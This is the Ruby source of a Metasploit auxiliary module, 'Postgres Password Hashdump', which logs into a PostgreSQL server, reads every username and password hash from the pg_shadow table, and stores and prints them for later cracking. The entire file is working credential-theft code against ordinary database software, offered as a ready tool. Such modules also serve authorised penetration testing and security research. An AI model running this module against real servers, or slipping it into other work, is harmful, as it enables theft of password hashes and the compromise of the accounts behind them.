146 lines
4.0 KiB
Ruby
146 lines
4.0 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::Postgres
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include Msf::Auxiliary::Report
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include Msf::Auxiliary::Scanner
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def initialize
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super(
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'Name' => 'Postgres Password Hashdump',
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'Description' => %Q{
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This module extracts the usernames and encrypted password
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hashes from a Postgres server and stores them for later cracking.
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},
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'Author' => ['theLightCosine'],
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'License' => MSF_LICENSE
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)
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register_options([
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OptString.new('DATABASE', [ true, 'The database to authenticate against', 'postgres']),
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])
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deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE')
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end
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def run_host(ip)
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# Query the Postgres Shadow table for username and password hashes and report them
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res = postgres_query('SELECT usename, passwd FROM pg_shadow',false)
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service_data = {
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address: ip,
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port: rport,
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service_name: 'postgres',
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protocol: 'tcp',
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workspace_id: myworkspace_id
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}
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credential_data = {
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module_fullname: self.fullname,
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origin_type: :service,
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private_data: datastore['PASSWORD'],
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private_type: :password,
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username: datastore['USERNAME'],
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realm_key: Metasploit::Model::Realm::Key::POSTGRESQL_DATABASE,
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realm_value: datastore['DATABASE']
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}
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credential_data.merge!(service_data)
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# Error handling routine here, borrowed heavily from todb
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case res.keys[0]
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when :conn_error
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print_error("A Connection Error occured")
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return
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when :sql_error
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# We know the credentials worked but something else went wrong
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credential_core = create_credential(credential_data)
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login_data = {
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core: credential_core,
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last_attempted_at: DateTime.now,
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status: Metasploit::Model::Login::Status::SUCCESSFUL
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}
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login_data.merge!(service_data)
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create_credential_login(login_data)
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case res[:sql_error]
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when /^C42501/
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print_error "#{datastore['RHOST']}:#{datastore['RPORT']} Postgres - Insufficient permissions."
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return
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else
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print_error "#{datastore['RHOST']}:#{datastore['RPORT']} Postgres - #{res[:sql_error]}"
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return
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end
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when :complete
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credential_core = create_credential(credential_data)
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login_data = {
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core: credential_core,
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last_attempted_at: DateTime.now,
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status: Metasploit::Model::Login::Status::SUCCESSFUL
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}
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login_data.merge!(service_data)
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# We know the credentials worked and have admin access because we got the hashes
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login_data[:access_level] = 'Admin'
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create_credential_login(login_data)
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print_status("Query appears to have run successfully")
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end
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tbl = Rex::Ui::Text::Table.new(
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'Header' => 'Postgres Server Hashes',
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'Indent' => 1,
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'Columns' => ['Username', 'Hash']
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)
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service_data = {
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address: ::Rex::Socket.getaddress(rhost,true),
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port: rport,
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service_name: 'postgres',
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protocol: 'tcp',
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workspace_id: myworkspace_id
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}
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credential_data = {
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origin_type: :service,
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jtr_format: 'raw-md5,postgres',
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module_fullname: self.fullname,
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private_type: :postgres_md5
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}
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credential_data.merge!(service_data)
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res[:complete].rows.each do |row|
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next if row[0].nil? or row[1].nil?
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next if row[0].empty? or row[1].empty?
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password = row[1]
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credential_data[:username] = row[0]
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credential_data[:private_data] = password
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credential_core = create_credential(credential_data)
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login_data = {
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core: credential_core,
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status: Metasploit::Model::Login::Status::UNTRIED
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}
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login_data.merge!(service_data)
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create_credential_login(login_data)
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tbl << [row[0], password]
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end
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print_good("#{tbl.to_s}")
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end
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end
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